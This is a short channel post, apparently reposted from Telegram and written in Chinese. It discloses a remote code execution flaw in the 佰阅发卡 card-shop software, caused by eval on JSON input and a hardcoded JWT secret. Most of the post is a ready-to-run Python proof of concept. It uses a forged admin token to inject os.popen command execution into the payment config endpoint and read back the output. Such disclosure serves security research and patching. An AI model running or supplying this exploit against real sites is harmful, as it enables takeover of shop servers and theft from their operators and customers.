tgoop.com/Oracleimpact/2016
Create:
Last Update:
Last Update:
佰阅发卡存在RCE漏洞,省流:eval解析json+硬编码JWT secret
POC:
import requests
cmd = "ls /"
url = "http://xxx"
jwt_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGl0eSI6eyJlbWFpbCI6ImFkbWluQHFxLmNvbSJ9LCJleHAiOjE3NDQ4NzExNDZ9.jf8YjUqXWVschKPSvKjv7lcQZrhynLla6AWqH6WWavg"
resp = requests.post(
url + "/api/v4/update_pays",
headers={"Authorization": "Bearer " + jwt_token},
json={
"data": {
# "config": f"[exec({payload!r}), f()][-1]",
"config": f"__import__('os').popen({cmd!r}).read()",
"icon": "\u652f\u4ed8\u5b9d",
"id": 2,
"info": "0\u8d39\u7387\u5b9e\u65f6\u5230\u8d26",
"isactive": False,
"name": "V\u514d\u7b7e\u652f\u4ed8\u5b9d",
}
},
)
resp = requests.get(
url + "/api/v4/get_pays",
headers={"Authorization": "Bearer " + jwt_token},
)
print([item["config"] for item in resp.json() if item.get("id") == 2].pop())
https://mp.weixin.qq.com/s/3fT7r6bHfzXs7vX0rMI54g
BY 踹哈公寓

Share with your friend now:
tgoop.com/Oracleimpact/2016